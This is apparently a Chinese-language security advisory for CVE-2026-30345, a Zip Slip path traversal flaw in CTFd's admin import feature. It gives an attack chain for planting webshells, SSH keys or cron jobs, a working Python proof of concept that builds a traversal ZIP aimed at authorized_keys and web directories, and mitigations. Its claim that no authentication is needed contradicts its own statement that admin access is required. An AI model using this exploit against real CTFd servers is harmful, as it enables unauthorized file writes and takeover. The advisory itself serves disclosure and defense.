IPBUF安全漏洞报告
English
CVE-2026-30345 CVSS 7.5 高危

CVE-2026-30345: CTFd Admin导入功能Zip Slip任意文件写入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-30345
漏洞类型
路径遍历/Zip Slip
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CTFd

相关标签

CVE-2026-30345CTFdZip Slip路径遍历任意文件写入高危漏洞Web安全文件上传漏洞

漏洞概述

CTFd v3.8.1-18-gdb5a18c4版本中存在一个Zip Slip漏洞,该漏洞位于管理后台的导入功能中。攻击者可以通过构造恶意的ZIP压缩文件,在文件名中嵌入路径遍历序列(如../),使得解压操作将文件写入到目标目录之外的任意位置。成功利用此漏洞的攻击者可以在服务器文件系统上创建或覆盖任意文件,可能导致远程代码执行、配置文件篡改或服务中断等严重后果。由于该漏洞无需认证即可利用(针对Admin导入功能),因此具有较高的安全风险。CVSS 3.1评分7.5,属于高危级别漏洞。

技术细节

Zip Slip是一种经典的目录遍历漏洞,发生在处理ZIP文件解压时未正确验证文件路径。CTFd的Admin导入功能在处理用户上传的ZIP文件时,没有对压缩包内每个文件的绝对路径进行充分验证。攻击者可以创建一个包含路径遍历序列的恶意ZIP文件,例如文件名为../../../etc/cron.d/malicious的文件。当CTFd解压该文件时,由于缺少路径规范化检查,文件会被写入到服务器系统的任意位置。攻击者通常利用此漏洞写入Webshell、修改系统配置或创建后门。由于CTFd的导入功能通常需要管理员权限,但攻击者可能通过其他方式获取管理员账户或利用社会工程学手段诱骗管理员导入恶意文件。修复方案是在解压前对每个文件路径进行规范化处理,确保文件只能被解压到指定的目标目录内。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行的是CTFd v3.8.1-18-gdb5a18c4版本,并确认Admin导入功能存在
STEP 2
步骤2: 制作恶意ZIP文件
攻击者构造包含路径遍历序列的ZIP文件,在文件名中嵌入../../等路径穿越字符,如../../../tmp/pwned.txt
STEP 3
步骤3: 获取管理员权限
攻击者通过社工、弱口令或其他漏洞获取CTFd管理员账户,或诱骗现有管理员导入恶意文件
STEP 4
步骤4: 上传恶意ZIP
通过CTFd后台的Admin > Import功能上传构造好的恶意ZIP文件
STEP 5
步骤5: 解压触发漏洞
CTFd服务器解压ZIP文件时,由于缺少路径验证,文件被写入到指定目标目录之外的位置
STEP 6
步骤6: 权限维持/远程代码执行
攻击者可写入Webshell、SSH公钥或定时任务,实现远程代码执行或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 ''' CVE-2026-30345 PoC - CTFd Zip Slip Vulnerability This PoC generates a malicious ZIP file with path traversal payloads. ''' import zipfile import os import io def create_zip_slip_payload(): """ Create a malicious ZIP file for Zip Slip attack on CTFd Admin import """ # Path traversal payloads - files to be written outside target directory malicious_files = { '../../../tmp/pwned.txt': b'Zip Slip exploitation successful!', '../../../var/www/html/uploads/shell.py': b'#!/usr/bin/env python3\nprint("PWNED")', '../../.ssh/authorized_keys': b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...', } zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: for filename, content in malicious_files.items(): # Add file with path traversal in filename zf.writestr(filename, content) print(f'[+] Added malicious entry: {filename}') # Get the ZIP content zip_content = zip_buffer.getvalue() # Save to file with open('ctfd_zip_slip_payload.zip', 'wb') as f: f.write(zip_content) print(f'[+] Created malicious ZIP file: ctfd_zip_slip_payload.zip') print(f'[+] Size: {len(zip_content)} bytes') print('\n[!] Usage: Upload this ZIP file via CTFd Admin > Import functionality') return zip_content def verify_zip_contents(zip_path): """Verify the contents of the generated ZIP file""" with zipfile.ZipFile(zip_path, 'r') as zf: print('\n[+] ZIP file contents:') for info in zf.infolist(): print(f' - {info.filename}') if __name__ == '__main__': print('=' * 60) print('CVE-2026-30345 - CTFd Zip Slip PoC') print('=' * 60) create_zip_slip_payload() verify_zip_contents('ctfd_zip_slip_payload.zip')

影响范围

CTFd < 3.8.2 (fixed version)
CTFd v3.8.1-18-gdb5a18c4 (vulnerable)

防御指南

临时缓解措施
在官方修复版本发布前,建议临时采取以下措施:1) 禁用或限制Admin导入功能的使用;2) 对上传的ZIP文件进行预先扫描和内容校验;3) 限制Web服务器用户对敏感目录的写入权限;4) 启用文件上传的行为检测和告警机制;5) 监控系统日志关注异常的目录创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表